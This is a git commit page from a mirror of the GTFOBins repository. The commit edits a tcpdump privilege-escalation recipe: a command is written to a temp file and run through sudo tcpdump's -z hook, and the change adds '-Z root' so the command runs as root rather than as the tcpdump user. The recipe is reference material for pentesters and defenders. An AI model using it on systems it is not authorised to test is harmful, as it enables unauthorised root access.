mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 16:58:36 +01:00 
			
		
		
		
	Providing user as argument using -Z
For certain distributions running tcpdump without providing -Z (user) argument causes the provided command to be executed as the `tcpdump` user which has low privileges by default.
This commit is contained in:
		
				
					committed by
					
						 Andrea Cardaci
						Andrea Cardaci
					
				
			
			
				
	
			
			
			
						parent
						
							47f4fb064c
						
					
				
				
					commit
					c37da57373
				
			| @@ -17,5 +17,5 @@ functions: | ||||
|         TF=$(mktemp) | ||||
|         echo "$COMMAND" > $TF | ||||
|         chmod +x $TF | ||||
|         sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF | ||||
|         sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root | ||||
| --- | ||||
|   | ||||
		Reference in New Issue
	
	Block a user